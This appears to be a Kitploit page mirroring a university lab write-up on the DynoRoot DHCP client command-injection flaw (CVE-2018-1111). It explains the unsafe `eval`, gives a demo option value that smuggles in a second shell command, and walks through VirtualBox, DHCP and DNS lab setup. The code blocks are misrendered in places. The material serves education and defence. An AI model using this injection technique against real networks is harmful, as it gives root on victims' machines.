Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/baldassarrefe/fep3370-advanced-ethical-hacking
漏洞分析漏洞利用网络安全渗透测试学习与教育实验室与实践
GitHubbaldassarrefe/fep3370-advanced-ethical-hacking

FEP3370-advanced-ethical-hacking

使用 DynoRoot(CVE-2018-1111)进行 DHCP 漏洞利用

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
网站
15年前尚未审核
分享

DynoRoot CVE-2018-1111

Final project for the course Advanced Ethical Hacking at KTH, Stockholm

This project demonstrates a known vulnerability of Fedora and RedHat machines related to an unsafe client-side implementation of the Dynamic Host Configuration Protocol (DHCP). A rogue DHCP server can craft DHCP offers with a malicious payload that gets executed in a root shell on the victim machine.

The vulnerability is credited to Felix Wilhelm and is known as CVE-2018-1111 or "DynoRoot".

Table of contents:

  • Introduction
    • Background
    • Vulnerability
    • Sources
  • Setup
    • Preliminaries
    • Gateway machine
    • Attacker
    • Fedora Victim
  • Performing the attack
    • Gateway
    • Attacker
    • Victim
    • Analysis
  • Future work
  • Credits

Introduction

Background

The Dynamic Host Configuration Protocol (DHCP) is an often-overlooked component in networked systems. Its role is to allow the dynamic configuration of hosts machines that connect to an existing network. The most common use case is to assign an IP address to newly-connected hosts and to inform it of existing routes to access other networks. Additional options can be specified, for example the address of a local DNS server and the zone it serves, or the location of a boot file.

Let's analyze the 4-way protocol that is followed when a new host wants to join a network after connecting to it physically by means of an ethernet or wireless connection.

  1. The client, lacking an IP address, broadcasts a DISCOVER message to the network.
  2. A DHCP server in charge of that network replies with an OFFER, containing: IP address, network submask, router address, and other options.
  3. The client replies with a REQUEST, officially requesting to lease the IP address that was offered
  4. The server concludes the exchange with an ACK, indicating that the client is allowed to use the IP address for a specified amount of time.

After the initial exchange, the client can renew the lease by simply sending another REQUEST message. The server will check the existence of a lease with the client's IP and MAC address and reply with an ACK.

DHCP Session (figure from Wikimedia Commons, under CC BY-SA 4.0 license).

Some things to note:

  • A client can also skip the DISCOVER phase and immediately REQUEST an address. This is common in scenarios in which the client already connected to the network in the past and remembers the previous address. In this case, the server verifies the availability of the address and ACKs the request, or, in case the lease is not available, sends a NACK.
  • Upon disconnection, clients can send a RELEASE message to inform the server that the address is now available. However, this is not mandated by the protocol and the server will periodically recollect expired leases.
  • Each DHCP server manages a limited pool of IP addresses, once they are all assigned, the server will not be able to OFFER leases to new clients
  • Multiple DHCP servers can exist on the same network, if a client receives multiple OFFERs it will only accept one, the other servers will observe the broadcasted REQUEST and invalidate the offer.

Vulnerability

The vulnerability is located in /etc/NetworkManager/dispatcher.d/11-dhclient, which is executed by the client to parse and set the options received over DHCP.

  • declare is a bash builtin that when used without arguments lists all declared variables
  • grep filters all DHCP-related variables
  • while read opt iterated over the DHCP variables one by one, performs some parsing and prints a line like export new_optionname=value for each option
  • the export statements are then evaluated by the shell through `eval````bash eval "$( declare | LC_ALL=C grep '^DHCP4_[A-Z_]=' | while read opt; do optname=${opt%%=} optname=${optname,,} optname=new_${optname#dhcp4_} optvalue=${opt#*=} echo "export $optname=$optvalue" done )"
root@kitploit:~
<!-- omit in toc -->
#### 常规操作

在正常情况下,代码可以正常工作并解析新的 DHCP 选项。

例如,以下代码:```bash
DHCP4_OPTION_ONE=42
DHCP4_OPTION_TWO="bla bla"

declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
  optname=${opt%%=*}
  optname=${optname,,}
  optname=new_${optname#dhcp4_}
  optvalue=${opt#*=}
  echo "export $optname=$optvalue"
done

将打印这两个 export 语句,供 eval 评估:```bash export new_option_one=42 export new_option_two='bla bla'

root@kitploit:~
<!-- omit in toc -->
#### 代码注入
然而,由于不安全的 `eval`,可以注入 bash 命令:```bash
DHCP4_OPTION_ONE="x'& echo Hacked! #"
DHCP4_OPTION_TWO='bla bla'

eval "$(                             
  declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
    optname=${opt%%=*}
    optname=${optname,,}
    optname=new_${optname#dhcp4_}
    optvalue=${opt#*=}
    echo "export $optname=$optvalue"
  done
)"

将导致执行 echo Hacked!:```text [1] 1541 Hacked!

root@kitploit:~
### Sources
- [Exploit 数据库条目](https://www.exploit-db.com/exploits/44890)
- [RedHat 公告](https://access.redhat.com/security/vulnerabilities/3442151)
- [Tenable 博客文章](https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble)
- [GitHub 仓库](https://github.com/kkirsche/CVE-2018-1111)
- [Twitter 公告](https://twitter.com/_fel1x/status/996388421273882626?lang=en)

## 环境搭建
演示该漏洞所需的最简环境仅需两台机器:一台运行 Fedora 28 的 `victim` 机器,以及一台 `attacker` 机器。在此环境中,攻击者只需提供 DHCP 服务并等待受害者连接即可。

<figure style="text-align:center">
  <img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network_simple.svg" style="max-width:400px;" width="90%"/>
  <figcaption>最简漏洞利用环境。</figcaption>
</figure>

更接近实际的场景是将这些机器放在一个私有网络中,其中第三台机器 `gateway` 被配置为良性 DHCP 服务器,同时充当通往外部互联网的网关。在此场景下,攻击者必须先阻止受害者连接到合法的 DHCP 服务器,然后才有机会实施攻击。

<figure style="text-align:center">
  <img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network.svg" style="max-width:800px;" width="90%"/>
  <figcaption>私有网络场景:一台网关机器同时充当 DHCP、路由器和防火墙。</figcaption>
</figure>

在以下章节中,我们将:
1. 安装 VirtualBox
2. 创建 3 台虚拟机:`gateway`、`attacker` 和 `victim`
3. 在机器上安装操作系统(用户、网络和 SSH 访问)
4. 配置网关,使其为 VirtualBox 提供的虚拟内部网络托管良性 DHCP 服务器
5. 安装攻击所需的 Python 依赖

若要[直接开始操作](#performing-the-attack)并跳过手动设置,可以运行 `ansible` 文件夹中的 [`setup.sh`](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/ansible/setup.sh) 脚本,它将(几乎)自动创建虚拟机并使用 [Ansible Roles](https://docs.ansible.com/ansible/latest/user_guide/playbooks_reuse_roles.html) 对其进行配置。只需确保在运行 `setup.sh` 之前已安装 Ansible 和 VirtualBox。

### 准备工作

#### 安装 VirtualBox
以下说明来自[官方安装指南](https://www.virtualbox.org/wiki/Downloads)。

将以下行添加到 `/etc/apt/sources.list`:```bash
deb [arch=amd64] 'https://download.virtualbox.org/virtualbox/debian' bionic contrib

安装 virtualbox 和扩展包:```bash wget -q 'https://www.virtualbox.org/download/oracle_vbox_2016.asc' -O- | sudo apt-key add - wget -q 'https://www.virtualbox.org/download/oracle_vbox.asc' -O- | sudo apt-key add -

sudo apt-get update sudo apt-get -y install gcc make linux-headers-$(uname -r) dkms virtualbox-6.1

wget 'https://download.virtualbox.org/virtualbox/6.1.16/Oracle_VM_VirtualBox_Extension_Pack-6.1.16.vbox-extpack' sudo VBoxManage extpack install Oracle_VM_VirtualBox_Extension_Pack-6.1.16.vbox-extpack VBoxManage list extpacks

root@kitploit:~
#### 安装 Ansible(可选)
来自 [Ubuntu 官方指南](https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html#installing-ansible-on-ubuntu):```bash
sudo apt update
sudo apt install software-properties-common
sudo apt-add-repository --yes --update ppa:ansible/ansible
sudo apt install ansible

常规 SSH 设置

在本节中,我们将创建用于登录机器的 SSH 凭据。 在 SSH 配置文件中添加主机条目可以让我们稍后省去一些输入。

创建一个不带口令的 SSH 密钥:```bash ssh-keygen -f ~/.ssh/ethhack -t ed25519 -N ''

root@kitploit:~
将这些条目添加到 SSH 配置 (`~/.ssh/config`):```
Host gateway.ethhack
  Port 6001
  User gateway   

Host victim.ethhack
  Port 6002
  User victim

Host attacker.ethhack
  Port 6003
  User attacker

Host *.ethhack
  LogLevel ERROR
  HostName localhost
  IdentityFile ~/.ssh/ethhack
  StrictHostKeyChecking no
  UserKnownHostsFile /dev/null

网关机器

该机器托管良性的DHCP服务器,负责管理内部网络上的地址池。 它基于 Ubuntu Server 18.04,并使用 ISC DHCP 软件包。

在真实场景中,该机器还将充当路由器(iptables) 和防火墙(UFW Uncomplicated Firewall),位于网络上的机器与 外部世界之间。它也可能为某些内部服务托管DNS服务器 (BIND9)。

创建虚拟机

我们将使用VirtualBox的命令行工具创建虚拟机,以便该过程 可以尽可能快速地重复。否则,也可以通过图形界面输入相同配置 来创建虚拟机。

下载Ubuntu ISO:```bash wget 'https://ftp.lysator.liu.se/ubuntu-releases/18.04.5/ubuntu-18.04.5-live-server-amd64.iso' md5sum --check << EOF fcd77cd8aa585da4061655045f3f0511 ubuntu-18.04.5-live-server-amd64.iso EOF

root@kitploit:~
创建虚拟机:
- 网络接口 1 连接到 VirtualBox 的默认 NAT 网络
- 网络接口 2 连接到 `intnet` 内部网络\
  (MAC 地址中的 "d" 代表 DHCP)
- 将主机上的 `600x` 端口转发到虚拟机中的 SSH 端口```bash
VM_NAME="gateway"
VRDE_PORT=5001
SSH_PORT=6001
VM_MAC='08:00:dd:dd:dd:dd'

VBoxManage createvm --name "${VM_NAME}" --ostype Ubuntu_64 --register
VBoxManage modifyvm "${VM_NAME}" \
  --memory 2048 \
  --acpi on \
  --boot1 dvd \
  --nic1 nat \
  --nic2 'intnet' \
  --macaddress2 "${VM_MAC//:/}" \
  --natpf1 "guestssh,tcp,,${SSH_PORT},,22" \
  --audio none

VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
VBoxManage storageattach "${VM_NAME}" \
  --storagectl "IDE Controller" \
  --port 0 \
  --device 0 \
  --type hdd \
  --medium "${VM_NAME}.vdi"

VBoxManage storageattach "${VM_NAME}" \
  --storagectl "IDE Controller" \
  --port 0 \
  --device 1 \
  --type dvddrive \
  --medium "$(realpath ubuntu-18.04.5-live-server-amd64.iso)"

如果出现问题:```bash VBoxManage unregistervm "${VM_NAME}" --delete

root@kitploit:~
#### 操作系统安装
首次启动机器时,我们需要一个虚拟桌面来按照安装步骤进行操作。
我们可以以无头模式启动虚拟机,并使用 `rdesktop-vrdp` 进行连接。如果 VirtualBox 运行在
桌面计算机上,通过 GUI 启动虚拟机可能更容易,但这种方法
即使在远程 VirtualBox 主机上也能正常工作。```bash
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 5
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%

安装程序的配置参数:

  • 主机名 gateway
  • 用户 gateway
  • 密码 gat
  • 静态 IP 192.168.0.1,接口 enp0s8
  • 启用 SSH 服务器
/> 安装截图:网络配置。 安装截图:创建用户。

安装完成后,关机,移除 ISO 并禁用 VRDE:```bash VBoxManage storageattach "${VM_NAME}"
--storagectl "IDE Controller"
--port 0
--device 1
--type dvddrive
--medium "none" VBoxManage modifyvm "${VM_NAME}" --vrde off

root@kitploit:~
#### SSH 登录
为方便访问,我们可以将上面创建的 SSH 密钥安装到 `gateway` 机器中:```bash
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub gateway.ethhack
ssh gateway.ethhack

如果由于某种原因,在安装过程中未配置 enp0s8 网络接口, 请将此配置写入 /etc/netplan/00-installer-config.yaml:```yaml network: version: 2 ethernets: enp0s3: dhcp4: yes enp0s8: dhcp4: no addresses : - 192.168.0.1/24

root@kitploit:~
并更新网络配置:```
sudo netplan apply
ip addr show dev enp0s8

DHCP 服务器

安装 ISC DHCP:```bash sudo apt install -y isc-dhcp-server

root@kitploit:~
要在内部接口上启用 DHCP,让我们编辑 `/etc/default/isc-dhcp-server`:```bash
sudo sed 's/INTERFACESv4=""/INTERFACESv4="enp0s8"/' -i /etc/default/isc-dhcp-server

由 DHCP 管理的地址池配置位于 /etc/dhcp/dhcpd.conf:``` authoritative;

default-lease-time 60; max-lease-time 7200;

subnet 192.168.0.0 netmask 255.255.255.0 { range 192.168.0.100 192.168.0.105; }

root@kitploit:~
选择的默认租约时间为1分钟相当低,但这对演示目的很有用。

<!--```bash
echo '
authoritative;

default-lease-time 60;
max-lease-time 7200;

subnet 192.168.0.0 netmask 255.255.255.0 {
  range 192.168.0.100 192.168.0.105;
  option domain-name-servers 192.168.0.53;
  option domain-name "100waystocook.pizza.";
}
' | sudo tee /etc/dhcp/dhcpd.conf > /dev/null

sudo sed 's/INTERFACESv4=""/INTERFACESv4="enp0s8"/' -i /etc/default/isc-dhcp-server

sudo systemctl restart isc-dhcp-server

-->

重启服务:```bash sudo systemctl restart isc-dhcp-server

root@kitploit:~
DHCP 事件记录在 `/var/log/syslog` 中。
我们可以通过以下方式突出显示相关条目:```bash
tail -f /var/log/syslog | grep --line-buffered 'dhcpd' | grep -E 'dhcpd|attacker|fedora|'

如果在安装其他机器时保持 gateway 开启, 它们会自动获取 DHCP 配置。

```bash

sudo apt-get install -y bind9 bind9utils bind9-doc sudo sed 's/OPTIONS="-u bind"/OPTIONS="-u bind -4"/' -i /etc/default/bind9 sudo systemctl restart bind9

root@kitploit:~
编辑 `/etc/bind/named.conf.options`:```bash
echo '
options {
  directory "/var/cache/bind";
  allow-query { any; };
  recursion no;
  listen-on { 192.168.0.53; };
};
' | sudo tee /etc/bind/named.conf.options > /dev/null

编辑 /etc/bind/named.conf.local:```bash echo '

Forward zone for 100waystocook.pizza

zone "100waystocook.pizza" { type master; file "/etc/bind/zones/db.100waystocook.pizza"; };

Reverse zone for 192.168.0.0/24

zone "0.168.192.in-addr.arpa" { type master; file "/etc/bind/zones/db.192.168.0"; }; ' | sudo tee /etc/bind/named.conf.local > /dev/null

root@kitploit:~
在 bind 只读的文件夹中创建正向和反向区域文件:```bash
sudo install -o root -g bind -m 755 -d /etc/bind/zones

echo '
$TTL    86400 ; Clients will cache DNS responses for 1 day

@       IN      SOA     dns.100waystocook.pizza. admin.100waystocook.pizza. (
                  3     ; Serial
             604800     ; Refresh (1 week)
              86400     ; Retry   (1 day)
            2419200     ; Expire  (4 weeks)
             604800     ; Negative Cache TTL (4 weeks)
)                       ; The values above are only relevant for secondary DNS servers

; name servers
@       IN      NS      dns.100waystocook.pizza.

; 192.168.0.0/24
dns     IN      A       192.168.0.53
server  IN      A       192.168.0.1
www     IN      CNAME   server
mongo   IN      CNAME   server
' | sudo tee /etc/bind/zones/db.100waystocook.pizza > /dev/null

echo '
$TTL    604800
@       IN      SOA     dns.100waystocook.pizza. admin.100waystocook.pizza. (
                  4     ; Serial
             604800     ; Refresh
              86400     ; Retry
            2419200     ; Expire
             604800 )   ; Negative Cache TTL

; name servers
@     IN      NS      dns.100waystocook.pizza.

; PTR Records
1     IN      PTR     server.100waystocook.pizza.  ; 192.168.0.1
53    IN      PTR     dns.100waystocook.pizza.     ; 192.168.0.53
' | sudo tee /etc/bind/zones/db.192.168.0 > /dev/null

运行检查并重启:```bash sudo named-checkconf sudo named-checkzone 100waystocook.pizza /etc/bind/zones/db.100waystocook.pizza sudo named-checkzone 0.168.192.in-addr.arpa /etc/bind/zones/db.192.168.0

sudo systemctl restart bind9

root@kitploit:~
检查其是否正常工作```bash
dig www.100waystocook.pizza
nslookup www.100waystocook.pizza
systemd-resolve www.100waystocook.pizza

将 DHCP 服务器设置为自动更新 DNS 条目

  • https://wiki.debian.org/DDNS
  • http://www.btteknik.net/?p=143
  • https://dev.to/skorotkiewicz/create-ddns-on-your-current-bind9-server-1d09
  • https://blog.kroko.ro/2009/03/29/running-a-secure-ddns-service-with-bind/
  • https://bind9.readthedocs.io/en/v9_16_5/reference.html#dynamic-update-policies
  • https://www.techrepublic.com/blog/linux-and-open-source/setting-up-a-dynamic-dns-service-part-2-dhcpd/
Bind 配置

为 DNS 更新创建对称密钥:```bash KEY_NAME='ddns-key.100waystocook.pizza' KEY_FILE_BIND="${KEY_NAME}.key"

KEY_FILE="$(dnssec-keygen -a HMAC-SHA512 -b 512 -r /dev/urandom -n USER "${KEY_NAME}")" KEY_FILE_KEY="${KEY_FILE}.key" KEY_FILE_PRI="${KEY_FILE}.private" unset KEY_FILE

KEY_SECRET="$(cut -f7- -d ' ' "${KEY_FILE_KEY}")"

cat > "${KEY_FILE_BIND}" << EOF key "${KEY_NAME}" { algorithm HMAC-SHA512; secret "${KEY_SECRET}"; }; EOF

sudo install --owner root --group bind --mode 0640 "${KEY_FILE_BIND}" /etc/bind/ rm "${KEY_FILE_BIND}"

root@kitploit:~
在 `/etc/bind/named.conf.local` 中包含密钥:```bash
echo "
include '/etc/bind/${KEY_FILE_BIND}';

# Forward zone for 100waystocook.pizza
zone '100waystocook.pizza' {
  type master;
  file '/var/lib/bind/zones-dyn/db.100waystocook.pizza';
  notify no;

  # grant whoever owns the key the permission to update 
  # the A and TXT records for server.100waystocook.pizza.
  update-policy {
    grant ${KEY_NAME} name server.100waystocook.pizza. A TXT;
  };
};

# Reverse zone for 192.168.0.0/24
zone '0.168.192.in-addr.arpa' {
  type master;
  file '/var/lib/bind/zones-dyn/db.192.168.0';
  notify no;

  # grant whoever owns the key the permission to update 
  # the PTR record for IPs in within the reverse zone
  update-policy {
    grant ${KEY_NAME} zonesub PTR;
  };
};
" | tr \' \" | sudo tee /etc/bind/named.conf.local > /dev/null 

将原始区域文件复制到 bind 可写入的文件夹,删除 server 记录:```bash sudo install -o root -g bind -m 775 -d /var/lib/bind/zones-dyn

sudo install -o root -g bind -m 664 /etc/bind/zones/db.100waystocook.pizza /var/lib/bind/zones-dyn sudo sed '/^server/d' -i /var/lib/bind/zones-dyn/db.100waystocook.pizza

sudo install -o root -g bind -m 664 /etc/bind/zones/db.192.168.0 /var/lib/bind/zones-dyn sudo sed '/server.100waystocook.pizza/d' -i /var/lib/bind/zones-dyn/db.192.168.0

root@kitploit:~
运行检查并重启:```bash
sudo named-checkconf
sudo named-checkzone 100waystocook.pizza    /var/lib/bind/zones-dyn/db.100waystocook.pizza
sudo named-checkzone 0.168.192.in-addr.arpa /var/lib/bind/zones-dyn/db.192.168.0

sudo systemctl restart bind9
手动检查

通过手动更新 DNS 条目来检查其是否正常工作。 在执行以下操作时,请留意 tail -f /var/log/syslog 是否有错误。 最后,删除新增条目,否则 DHCP 更新将失败:```bash TTL=60 NEW_NAME='server' NEW_IP='99'

systemd-resolve "${NEW_NAME}.100waystocook.pizza"

nsupdate -d -k "${KEY_FILE_PRI}" << EOF server dns.100waystocook.pizza.

zone 100waystocook.pizza. update add ${NEW_NAME}.100waystocook.pizza. ${TTL} IN A 192.168.0.${NEW_IP}

zone 0.168.192.in-addr.arpa update add ${NEW_IP}.0.168.192.in-addr.arpa ${TTL} IN PTR ${NEW_NAME}.100waystocook.pizza.

send EOF

sudo systemd-resolve --flush-caches systemd-resolve "${NEW_NAME}.100waystocook.pizza" dig +short -x "192.168.0.${NEW_IP}"

nsupdate -d -k "${KEY_FILE_PRI}" << EOF server dns.100waystocook.pizza.

zone 100waystocook.pizza. update delete ${NEW_NAME}.100waystocook.pizza. IN A

zone 0.168.192.in-addr.arpa update delete ${NEW_IP}.0.168.192.in-addr.arpa IN PTR

send EOF

root@kitploit:~
##### DHCP 配置
配置 DHCP 以自动更新 DNS 条目:```bash
KEY_FILE_DHCP="${KEY_NAME}.key"

# Note: no " in key file
cat > "${KEY_FILE_DHCP}" << EOF
key ${KEY_NAME} {
  algorithm HMAC-SHA512;
  secret ${KEY_SECRET};
};
EOF

sudo install --owner root --group root --mode 0640 "${KEY_FILE_DHCP}" /etc/dhcp/ddns-keys/
rm "${KEY_FILE_DHCP}"

echo "
authoritative;

# https://kb.isc.org/docs/isc-dhcp-44-manual-pages-dhcpdconf
ddns-updates on;
ddns-update-style interim;
ddns-domainname '100waystocook.pizza.';
ddns-rev-domainname '0.168.192.in-addr.arpa.';
update-conflict-detection on;
ddns-guard-id-must-match;
ignore client-updates;

default-lease-time 120;
max-lease-time 7200;

include '/etc/dhcp/ddns-keys/${KEY_FILE_DHCP}';

zone 100waystocook.pizza. {
  primary dns.100waystocook.pizza. ;
  key ${KEY_NAME} ;
}

zone 0.168.192.in-addr.arpa. {
  primary dns.100waystocook.pizza. ;
  key ${KEY_NAME} ;
}

subnet 192.168.0.0 netmask 255.255.255.0 {
  range 192.168.0.1 192.168.0.20;
  option domain-name-servers 192.168.0.53;
  option domain-name '100waystocook.pizza.';
}
" | tr \' \" | sudo tee /etc/dhcp/dhcpd.conf > /dev/null

sudo systemctl restart isc-dhcp-server

可以使用 sudo dhcpd -t 检查 DHCP 配置。

结果

当主机名为 server 的机器启动时,/var/log/syslog 应如下所示:```

DHCP handshake

dhcpd[1366]: DHCPDISCOVER from 08:00:27:ca:ff:df via enp0s8 dhcpd[1366]: DHCPOFFER on 192.168.0.3 to 08:00:27:ca:ff:df (server) via enp0s8 dhcpd[1366]: DHCPREQUEST for 192.168.0.3 (192.168.0.53) from 08:00:27:ca:ff:df (server) via enp0s8 dhcpd[1366]: DHCPACK on 192.168.0.3 to 08:00:27:ca:ff:df (server) via enp0s8

DNS update

named[1283]: client @0x7fef30041e40 192.168.0.53#53293/key ddns-key.100waystocook.pizza: updating zone '100waystocook.pizza/IN': adding an RR at 'server.100waystocook.pizza' A 192.168.0.3 named[1283]: client @0x7fef30041e40 192.168.0.53#53293/key ddns-key.100waystocook.pizza: updating zone '100waystocook.pizza/IN': adding an RR at 'server.100waystocook.pizza' TXT "31c8ab6283bcc3f723245ceab58eb496f0" dhcpd[1366]: Added new forward map from server.100waystocook.pizza. to 192.168.0.3 named[1283]: client @0x7fef30057320 192.168.0.53#36001/key ddns-key.100waystocook.pizza: updating zone '0.168.192.in-addr.arpa/IN': deleting rrset at '3.0.168.192.0.168.192.in-addr.arpa' PTR named[1283]: client @0x7fef30057320 192.168.0.53#36001/key ddns-key.100waystocook.pizza: updating zone '0.168.192.in-addr.arpa/IN': adding an RR at '3.0.168.192.0.168.192.in-addr.arpa' PTR server.100waystocook.pizza. dhcpd[1366]: Added reverse map from 3.0.168.192.0.168.192.in-addr.arpa. to server.100waystocook.pizza.

DHCP renewal

dhcpd[1366]: DHCPREQUEST for 192.168.0.3 from 08:00:27:ca:ff:df (server) via enp0s8 dhcpd[1366]: DHCPACK on 192.168.0.3 to 08:00:27:ca:ff:df (server) via enp0s8

root@kitploit:~
当另一台主机名为 `fedora` 的机器启动时,它会获得一个 IP,但由于 `update-policy` 的原因,它不会被添加到 DNS 中:```
dhcpd[1366]: DHCPDISCOVER from 08:00:27:4e:d0:d2 via enp0s8
dhcpd[1366]: DHCPOFFER on 192.168.0.6 to 08:00:27:4e:d0:d2 (fedora) via enp0s8
dhcpd[1366]: DHCPREQUEST for 192.168.0.6 (192.168.0.53) from 08:00:27:4e:d0:d2 (fedora) via enp0s8
dhcpd[1366]: DHCPACK on 192.168.0.6 to 08:00:27:4e:d0:d2 (fedora) via enp0s8
named[1283]: client @0x7fef30041e40 192.168.0.53#42609/key ddns-key.100waystocook.pizza: 
             updating zone '100waystocook.pizza/IN': 
             update failed: rejected by secure update (REFUSED)
dhcpd[1366]: Unable to add forward map from fedora.100waystocook.pizza. to 192.168.0.6: REFUSED

问题是,DHCP 会将任何主机名为 server 的机器注册到 DNS, 只要它是第一台。如果攻击者尝试通过 DHCP 使用重复的 server 主机名进行连接,DHCP 会注意到并拒绝更新 DNS。```

DHCP handshake with attacker

dhcpd[1366]: DHCPDISCOVER from 08:00:27:4e:d0:d2 via enp0s8 dhcpd[1366]: DHCPOFFER on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8 dhcpd[1366]: DHCPREQUEST for 192.168.0.2 (192.168.0.53) from 08:00:27:4e:d0:d2 (server) via enp0s8 dhcpd[1366]: DHCPACK on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8

DNS update denied

named[1283]: client @0x7fef30041e40 192.168.0.53#34663/key ddns-key.100waystocook.pizza: updating zone '100waystocook.pizza/IN': update unsuccessful: server.100waystocook.pizza: 'name not in use' prerequisite not satisfied (YXDOMAIN) named[1283]: client @0x7fef30057320 192.168.0.53#39143/key ddns-key.100waystocook.pizza: updating zone '100waystocook.pizza/IN': update unsuccessful: server.100waystocook.pizza/TXT: 'RRset exists (value dependent)' prerequisite not satisfied (NXRRSET) dhcpd[1366]: Forward map from server.100waystocook.pizza. to 192.168.0.2 FAILED: Has an address record but no DHCID, not mine.

root@kitploit:~
但如果合法的 `server` 宕机一段时间,其租约会被释放,相关记录也会被移除。
那么攻击者只需在初始 DHCP 交换过程中提供 `server` 作为主机名,
即可轻松潜入。```
# DHCP removes DNS records
named[1283]: client @0x7fef30041e40 192.168.0.53#43939/key ddns-key.100waystocook.pizza: 
             updating zone '100waystocook.pizza/IN': deleting an RR at server.100waystocook.pizza A
dhcpd[1366]: Removed forward map from server.100waystocook.pizza. to 192.168.0.3
named[1283]: client @0x7fef30057320 192.168.0.53#46231/key ddns-key.100waystocook.pizza: 
             updating zone '100waystocook.pizza/IN': deleting an RR at server.100waystocook.pizza TXT
named[1283]: client @0x7fef30041e40 192.168.0.53#54069/key ddns-key.100waystocook.pizza: 
             updating zone '0.168.192.in-addr.arpa/IN': deleting rrset at '3.0.168.192.0.168.192.in-addr.arpa' PTR
dhcpd[1366]: Removed reverse map on 3.0.168.192.0.168.192.in-addr.arpa.

# Attacker gets and IP and a DNS entry
dhcpd[1366]: DHCPDISCOVER from 08:00:27:4e:d0:d2 via enp0s8
dhcpd[1366]: DHCPOFFER on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8
dhcpd[1366]: DHCPREQUEST for 192.168.0.2 (192.168.0.53) from 08:00:27:4e:d0:d2 (server) via enp0s8
dhcpd[1366]: DHCPACK on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8
named[1283]: client @0x7fef30057320 192.168.0.53#56317/key ddns-key.100waystocook.pizza: 
             updating zone '100waystocook.pizza/IN': 
             adding an RR at 'server.100waystocook.pizza' A 192.168.0.2
named[1283]: client @0x7fef30057320 192.168.0.53#56317/key ddns-key.100waystocook.pizza: 
             updating zone '100waystocook.pizza/IN': 
             adding an RR at 'server.100waystocook.pizza' TXT "319dc6047844ea45fdc56373d08413401e"
dhcpd[1366]: Added new forward map from server.100waystocook.pizza. to 192.168.0.2
named[1283]: client @0x7fef30041e40 192.168.0.53#51689/key ddns-key.100waystocook.pizza: 
             updating zone '0.168.192.in-addr.arpa/IN': 
             deleting rrset at '2.0.168.192.0.168.192.in-addr.arpa' PTR
named[1283]: client @0x7fef30041e40 192.168.0.53#51689/key ddns-key.100waystocook.pizza: 
             updating zone '0.168.192.in-addr.arpa/IN': 
             adding an RR at '2.0.168.192.0.168.192.in-addr.arpa' PTR server.100waystocook.pizza.
dhcpd[1366]: Added reverse map from 2.0.168.192.0.168.192.in-addr.arpa. to server.100waystocook.pizza.

-->

攻击者(Attacker)

攻击者机器没有特殊要求,只需在 Conda 环境中运行 Python。 为简单起见,我们可以复用 Ubuntu Server 18.04 的 ISO。

创建虚拟机(VM Creation)

创建虚拟机:

  • 网络接口 1 连接到 VirtualBox 的默认 NAT 网络
  • 网络接口 2 连接到 intnet 内部网络
    (MAC 地址中的 "a" 代表攻击者 Attacker)
  • 从主机上的 600x 端口进行端口转发,指向虚拟机中的 SSH 端口```bash VM_NAME="attacker" VRDE_PORT=5003 SSH_PORT=6003 VM_MAC='08:00:aa:aa:aa:aa'

VBoxManage createvm --name "${VM_NAME}" --ostype Ubuntu_64 --register VBoxManage modifyvm "${VM_NAME}"
--memory 2048
--acpi on
--boot1 dvd
--nic1 nat
--nic2 'intnet'
--macaddress2 "${VM_MAC//:/}"
--natpf1 "guestssh,tcp,,${SSH_PORT},,22"
--audio none

VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000 VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4 VBoxManage storageattach "${VM_NAME}"
--storagectl "IDE Controller"
--port 0
--device 0
--type hdd
--medium "${VM_NAME}.vdi"

VBoxManage storageattach "${VM_NAME}"
--storagectl "IDE Controller"
--port 0
--device 1
--type dvddrive
--medium "$(realpath ubuntu-18.04.5-live-server-amd64.iso)"

root@kitploit:~
#### OS 安装
首次启动机器时,我们需要一个虚拟桌面来跟随安装步骤。我们
可以以无头模式启动虚拟机,并使用 `rdesktop-vrdp` 进行连接。如果 VirtualBox 运行在桌面计算机上,从 GUI 启动虚拟机可能会更容易,但
此方法同样适用于远程 VirtualBox 主机。```bash
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 5
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%

安装程序的配置参数:

  • 主机名 attacker
  • 用户 attacker
  • 密码 att
  • 将 enp0s8 设置为使用 DHCP
  • 启用 SSH 服务器
安装截图:创建用户。

安装完成后,关闭虚拟机,移除 ISO 并禁用 VRDE:```bash VBoxManage storageattach "${VM_NAME}"
--storagectl "IDE Controller"
--port 0
--device 1
--type dvddrive
--medium "none" VBoxManage modifyvm "${VM_NAME}" --vrde off

root@kitploit:~
#### SSH 登录
为了方便访问,我们可以将上面创建的 SSH 密钥安装到 `attacker` 机器中:```bash
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub attacker.ethhack
ssh attacker.ethhack

软件依赖

